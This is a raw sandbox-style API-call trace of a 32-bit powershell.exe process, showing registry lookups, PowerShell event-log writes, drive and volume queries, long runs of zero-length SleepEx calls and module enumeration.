[0080.872] RegCloseKey (hKey=0x770) returned 0x0 [0080.872] RegOpenKeyExW (in: hKey=0x768, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1a0 | out: phkResult=0x70bf1a0*=0x770) returned 0x0 [0080.872] RegOpenKeyExW (in: hKey=0x770, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1a0 | out: phkResult=0x70bf1a0*=0x0) returned 0x2 [0080.872] RegCloseKey (hKey=0x770) returned 0x0 [0080.872] RegOpenKeyExW (in: hKey=0x768, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1a0 | out: phkResult=0x70bf1a0*=0x770) returned 0x0 [0080.872] RegOpenKeyExW (in: hKey=0x770, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1a0 | out: phkResult=0x70bf1a0*=0x76c) returned 0x0 [0080.873] RegCloseKey (hKey=0x76c) returned 0x0 [0080.873] RegCloseKey (hKey=0x768) returned 0x0 [0080.873] RegCloseKey (hKey=0x770) returned 0x0 [0080.875] RegisterEventSourceW (lpUNCServerName=".", lpSourceName="PowerShell") returned 0x7970004 [0081.022] ReportEventW (hEventLog=0x7970004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x5099f14*="Registry", lpRawData=0x504b114) returned 1 [0081.030] ReportEventW (hEventLog=0x7970004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x509c650*="Alias", lpRawData=0x509c578) returned 1 [0081.032] ReportEventW (hEventLog=0x7970004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x509eb8c*="Environment", lpRawData=0x509eab4) returned 1 [0081.033] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x70bf1a4, nSize=0x80 | out: lpBuffer="C:\\Users\\FD1HVy") returned 0xf [0081.033] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x10 [0081.033] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy", nBufferLength=0x10, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy", lpFilePart=0x0) returned 0xf [0081.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x70bf25c) returned 1 [0081.033] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy" (normalized: "c:\\users\\fd1hvy"), fInfoLevelId=0x0, lpFileInformation=0x70bf2d8 | out: lpFileInformation=0x70bf2d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0081.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x70bf258) returned 1 [0081.034] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x70bea00, nSize=0x80 | out: lpBuffer="က滸က滸") returned 0x0 [0081.035] GetLogicalDrives () returned 0x4 [0081.036] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5 [0081.036] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x5, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0081.036] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0081.037] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x70bf248) returned 1 [0081.037] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x70bf150, nVolumeNameSize=0x32, lpVolumeSerialNumber=0x70bf270, lpMaximumComponentLength=0x70bf26c, lpFileSystemFlags=0x70bf268, lpFileSystemNameBuffer=0x70bf0e8, nFileSystemNameSize=0x32 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x70bf270*=0xb4197730, lpMaximumComponentLength=0x70bf26c*=0xff, lpFileSystemFlags=0x70bf268*=0x3e702ff, lpFileSystemNameBuffer="NTFS") returned 1 [0081.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x70bf244) returned 1 [0081.038] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0081.038] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0081.038] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0081.038] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0081.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x70bf200) returned 1 [0081.038] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x509fd1c | out: lpFileInformation=0x509fd1c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x31b3b9e4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x865407b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0x865407b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0081.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x70bf1fc) returned 1 [0081.038] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0081.038] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0081.039] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0081.039] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0081.043] PathIsNetworkPathW (pszPath="C:\\") returned 0 [0081.044] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5 [0081.044] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x5, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0081.044] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0081.044] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0081.046] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0081.047] ReportEventW (hEventLog=0x7970004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x50a1de0*="FileSystem", lpRawData=0x50a1d08) returned 1 [0081.084] ReportEventW (hEventLog=0x7970004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x50b418c*="Function", lpRawData=0x50b40b4) returned 1 [0081.087] ReportEventW (hEventLog=0x7970004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x50b65f4*="Variable", lpRawData=0x50b651c) returned 1 [0081.095] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.134] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.199] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.239] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.277] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.313] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.352] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.361] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.390] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.397] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.405] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.415] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.452] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.454] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.477] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.507] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.512] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.523] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.534] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0083.199] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0083.217] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0083.255] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0083.302] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0083.306] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0083.349] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0083.394] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0083.434] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0083.441] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0083.470] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0083.484] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0083.524] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0083.539] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0083.566] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0083.614] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0083.651] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0084.754] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0084.780] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0084.823] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0084.856] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0084.859] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0084.924] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0084.993] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.027] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.034] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.053] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.076] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.117] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.161] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.171] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.211] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.263] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.315] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.335] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.364] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.402] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.411] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.463] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.485] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.630] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.722] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.800] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.913] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.988] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0086.066] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0086.163] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0086.239] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0086.316] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0086.398] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0086.496] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0086.581] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0086.660] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0086.729] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0086.816] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0086.933] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0086.972] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.541] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.613] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.691] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.784] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.878] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0091.066] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0091.112] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0091.159] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0091.237] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0091.319] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0091.519] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0091.612] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0091.691] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0091.784] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0092.013] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0092.097] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0092.175] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0092.253] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0092.597] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0092.646] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0092.709] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0092.773] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0093.045] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0093.155] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0093.340] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0093.387] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0093.434] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0093.512] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0093.603] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0093.684] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0093.762] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0093.840] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0093.918] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0094.005] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0094.090] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0094.279] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0094.543] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0094.699] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0094.790] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0094.794] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0094.820] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0094.914] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0094.923] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0094.943] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x70bf528 | out: UnbiasedTime=0x70bf528) returned 1 [0094.984] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0094.987] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.066] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.152] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.206] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.249] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.294] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.349] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.393] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.575] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.703] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.732] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.751] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.855] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.881] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.891] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.938] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.962] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.967] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.997] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.030] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.090] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.133] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.191] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.203] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0103.244] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0103.319] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x70bf26c | out: UnbiasedTime=0x70bf26c) returned 1 [0103.320] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x70bf25c | out: UnbiasedTime=0x70bf25c) returned 1 [0103.324] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0103.460] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0103.604] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0103.727] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0104.064] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0104.175] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0104.296] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0104.371] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0104.417] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0104.467] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0104.588] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0104.750] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0104.979] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0105.062] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0105.150] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0105.312] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0105.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0105.542] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0105.651] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0105.902] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.002] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.216] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.292] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.476] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.609] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.683] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.824] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.975] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0107.135] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0107.259] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0107.385] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0107.511] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0107.683] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0107.823] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0107.947] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0108.217] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0108.310] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0108.436] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0108.530] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0108.624] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0108.751] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0108.893] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0108.951] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0108.998] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0109.141] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0109.233] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0109.310] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0109.429] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0109.566] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0109.666] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0109.790] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0109.947] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.892] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.140] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.360] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.548] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.735] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.882] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.001] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.204] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.282] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.376] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.533] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.649] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.710] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.799] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.892] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.941] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.989] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.101] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.157] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.204] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.271] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.363] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.423] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.517] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.626] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.745] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.800] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x70bf528 | out: UnbiasedTime=0x70bf528) returned 1 [0116.801] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x70bf1c0 | out: UnbiasedTime=0x70bf1c0) returned 1 [0116.801] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x70bf1b0 | out: UnbiasedTime=0x70bf1b0) returned 1 [0136.818] CoUninitialize () Thread: id = 64 os_tid = 0x7d4 Thread: id = 65 os_tid = 0xec0 Thread: id = 66 os_tid = 0xecc Thread: id = 67 os_tid = 0x12f8 [0076.568] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0076.568] CoGetContextToken (in: pToken=0x74df864 | out: pToken=0x74df864) returned 0x0 [0076.568] CObjectContext::QueryInterface () returned 0x0 [0076.568] CObjectContext::GetCurrentThreadType () returned 0x0 [0076.569] Release () returned 0x0 [0076.569] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0076.569] CoUninitialize () [0076.569] RoInitialize () returned 0x1 [0076.569] RoUninitialize () returned 0x0 [0077.062] GetCurrentProcessId () returned 0x190 [0077.062] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x190) returned 0x718 [0077.062] EnumProcessModules (in: hProcess=0x718, lphModule=0x4fca8b0, cb=0x100, lpcbNeeded=0x74df37c | out: lphModule=0x4fca8b0, lpcbNeeded=0x74df37c) returned 1 [0077.062] GetModuleInformation (in: hProcess=0x718, hModule=0xb50000, lpmodinfo=0x4fca9f0, cb=0xc | out: lpmodinfo=0x4fca9f0*(lpBaseOfDll=0xb50000, SizeOfImage=0x6c000, EntryPoint=0xb595f0)) returned 1 [0077.062] CoTaskMemAlloc (cb=0x804) returned 0x32c7080 [0077.062] GetModuleBaseNameW (in: hProcess=0x718, hModule=0xb50000, lpBaseName=0x32c7080, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0077.062] CoTaskMemFree (pv=0x32c7080) [0077.062] CoTaskMemAlloc (cb=0x804) returned 0x32c7080 [0077.062] GetModuleFileNameExW (in: hProcess=0x718, hModule=0xb50000, lpFilename=0x32c7080, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0077.062] CoTaskMemFree (pv=0x32c7080) [0077.062] CloseHandle (hObject=0x718) returned 1 [0077.063] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x104, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0077.063] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x74df2fc) returned 1 [0077.063] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe"), fInfoLevelId=0x0, lpFileInformation=0x74df378 | out: lpFileInformation=0x74df378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fdc1d0a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fdc1d0a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fdc1d0a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x69000)) returned 1 [0077.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x74df2f8) returned 1 [0077.063] 